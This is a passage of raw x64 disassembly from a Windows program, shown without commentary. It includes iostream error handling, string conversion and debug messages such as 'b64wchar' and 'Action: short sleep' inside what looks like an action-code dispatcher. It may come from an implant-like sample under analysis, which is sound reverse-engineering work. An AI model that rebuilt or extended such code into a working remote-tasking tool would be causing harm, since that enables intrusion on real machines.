call fcn.14000e3d0
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x80], 6
jne 0x1400095c8
mov rcx, qword [rsp + rcx + 0xb8]
movaps xmmword [rsp + 0x4a0], xmm6
movsd xmm0, qword [rsp + 0x4d0]
movsd qword [rsp + 0x4b0], xmm0
mov rax, qword [rcx]
mov r9d, r13d
lea r8, [rsp + 0x4a0]
lea rdx, [rsp + 0x4c0]
call qword [rax + 0x58]
mov rcx, qword [rsp + 0x4c8]
add rcx, qword [rsp + 0x4c0]
cmp rcx, 0xffffffffffffffff
jne 0x1400095c3
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, ebx
xor r8d, r8d
call fcn.14000db90
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + rax + 0xb8]
test rcx, rcx
je 0x1400095e0
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
movsxd r15, r15d
mov rcx, r15
call fcn.140010328
mov r12, rax
mov r8, r15
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14000c548
xor eax, eax
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], rax
mov rdx, qword [rsp + 0x38]
add rdx, 0x30
lea rcx, [rsp + 0x4c0]
call fcn.1400027d0
nop
mov r8d, 0x50
lea rdx, [0x14004bf90]
lea rcx, [rsp + 0x4a0]
call fcn.140005870
mov r15, rax
mov rax, qword [rsp + 0x38]
add rax, 0x30
cmp rax, r15
je 0x14000968a
mov rcx, rax
call fcn.1400025b8
movups xmm0, xmmword [r15]
mov rcx, qword [rsp + 0x38]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rcx + 0x40], xmm1
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 7
mov word [r15], ax
lea rcx, [rsp + 0x4a0]
call fcn.1400025b8
lea rdx, [rsp + 0x460]
cmp qword [rsp + 0x478], rsi
cmovae rdx, qword [rsp + 0x460]
mov r9, qword [rsp + 0x470]
or r15, 0xffffffffffffffff
test r9, r9
je 0x1400096eb
lea rcx, [r9 - 1]
mov rax, r15
cmp rcx, r15
cmovb rax, rcx
lea rcx, [rdx + rax*2]
jmp 0x1400096dd
cmp rcx, rdx
je 0x1400096eb
sub rcx, rbx
cmp word [rcx], 0x5c
jne 0x1400096d5
sub rcx, rdx
sar rcx, 1
jmp 0x1400096ee
mov rcx, r15
movsxd rax, ecx
sub r9, rax
movsxd r8, ecx
add r8, r13
lea rdx, [rsp + 0x4a0]
lea rcx, [rsp + 0x460]
call fcn.14000d1d0
nop
cmp qword [rax + 0x18], rsi
jb 0x140009719
mov rax, qword [rax]
xor ecx, ecx
mov qword [rsp + 0x420], rcx
mov qword [rsp + 0x430], rcx
mov qword [rsp + 0x438], 7
mov word [rsp + 0x420], cx
mov rdx, rax
lea rcx, [rsp + 0x420]
call fcn.1400024b8
nop
lea rcx, [rsp + 0x4a0]
call fcn.1400025b8
mov rcx, r15
xor r8d, r8d
inc rcx
cmp byte [r12 + rcx], r8b
jne 0x140009763
add rcx, r13
mov rax, rbx
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.140010328
mov r15, rax
or rcx, 0xffffffffffffffff
mov rax, rcx
xor r13d, r13d
inc rax
cmp byte [r12 + rax], r13b
jne 0x14000978e
mov word [r15 + rax*2], r13w
mov rax, rcx
inc rax
cmp byte [r12 + rax], r13b
jne 0x14000979f
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r15
mov r9d, ecx
mov r8, r12
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, str.b64wchar____
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea r8, [rsp + 0x420]
cmp qword [rsp + 0x438], rsi
cmovae r8, qword [rsp + 0x420]
mov rdx, r15
mov rsi, qword [rsp + 0x38]
mov rcx, rsi
call fcn.140006898
lea rdx, [rsp + 0x4c0]
lea rcx, [rsi + 0x30]
call fcn.14000d3b0
mov rcx, r12
call fcn.140010068
cmp qword [rsp + 0x320], r13
je 0x140009851
lea r15, [rsp + 0x2a0]
lea rcx, [rsp + 0x2a0]
call fcn.14000d844
neg al
sbb rsi, rsi
and rsi, r15
mov rcx, qword [rsp + 0x320]
call fcn.14001bf6c
test eax, eax
je 0x140009854
mov rsi, r13
mov r8d, ebx
xor edx, edx
lea rcx, [rsp + 0x2a0]
call fcn.14000d90c
test rsi, rsi
jne 0x14000988f
mov rax, qword [rsp + 0x290]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x290]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, ebx
xor r8d, r8d
call fcn.14000db90
cmp qword [rsp + 0x208], r13
je 0x1400098c7
lea r15, [rsp + 0x188]
lea rcx, [rsp + 0x188]
call fcn.14000d844
neg al
sbb rsi, rsi
and rsi, r15
mov rcx, qword [rsp + 0x208]
call fcn.14001bf6c
test eax, eax
je 0x1400098ca
mov rsi, r13
mov r8d, ebx
xor edx, edx
lea rcx, [rsp + 0x188]
call fcn.14000d90c
test rsi, rsi
jne 0x140009906
mov rax, qword [rsp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x180]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, ebx
xor r8d, r8d
call fcn.14000db90
nop
lea rcx, [rsp + 0x420]
call fcn.1400025b8
nop
lea rcx, [rsp + 0x4c0]
call fcn.1400025b8
nop
lea rcx, [rsp + 0x120]
call fcn.14000c19c
nop
lea rbx, vtable.std::ios_base.0
mov qword [rsp + 0x120], rbx
lea rcx, [rsp + 0x120]
call fcn.140011b5c
nop
lea rcx, [rsp + 0x228]
call fcn.14000b4a4
nop
mov qword [rsp + 0x228], rbx
lea rcx, [rsp + 0x228]
call fcn.140011b5c
nop
lea rcx, [rsp + 0x340]
call fcn.14000c19c
nop
mov qword [rsp + 0x340], rbx
lea rcx, [rsp + 0x340]
call fcn.140011b5c
nop
jmp 0x140009a14
mov r14d, 0xa
cmp r12d, r14d
jne 0x140009a14
lea rcx, str.Action:_short_sleep
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
lea rcx, [rsp + 0x480]
cmp qword [rsp + 0x498], rsi
cmovae rcx, qword [rsp + 0x480]
call fcn.14001b9f8
mov ecx, eax
call fcn.14000596c
lea r8, [rsp + 0x3f8]
cmp qword [rsp + 0x410], rsi
cmovae r8, qword [rsp + 0x3f8]
lea rdx, [0x140044340]
mov rcx, qword [rsp + 0x38]
call fcn.1400063a8
mov r14d, 0x3e7
jmp 0x140009a14
lea rcx, [rsp + 0x440]
call fcn.1400025b8
nop
jmp 0x140009a31
lea rcx, [rsp + 0x3f8]
call fcn.1400025b8
nop
lea rcx, [rsp + 0x460]
call fcn.1400025b8
nop
lea rcx, [rsp + 0x480]
call fcn.1400025b8
nop
mov rcx, rdi
call fcn.1400025b8
mov eax, r14d
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.140010040
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
lea rcx, [rsp + 0x3f8]
call fcn.1400024a8
mov r8, rax
lea rdx, [0x140044340]
mov rcx, r15
call fcn.1400063a8
xor ecx, ecx
call fcn.140017be8
int3
lea rcx, [rsp + 0x3f8]
call fcn.1400024a8
mov r8, rax
lea rdx, [0x140044340]
mov rcx, qword [rsp + 0x38]
call fcn.1400063a8
xor ecx, ecx
call fcn.140017be8
nop
test r8b, 4
je 0x140009af7
lea rdx, str.ios_base::badbit_set
jmp 0x140009b0c
test bl, r8b
lea rdx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140002b08
mov r8, rax
lea rcx, [rsp + 0x3a0]
call fcn.14000333c
lea rdx, [0x140049998]
lea rcx, [rsp + 0x3a0]
call fcn.1400133f8
test r8b, 4
je 0x140009b49
lea rdx, str.ios_base::badbit_set
jmp 0x140009b5e
test bl, r8b
lea rdx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140002b08
mov r8, rax
lea rcx, [rsp + 0x3c8]
call fcn.14000333c
lea rdx, [0x140049998]
lea rcx, [rsp + 0x3c8]
call fcn.1400133f8
int3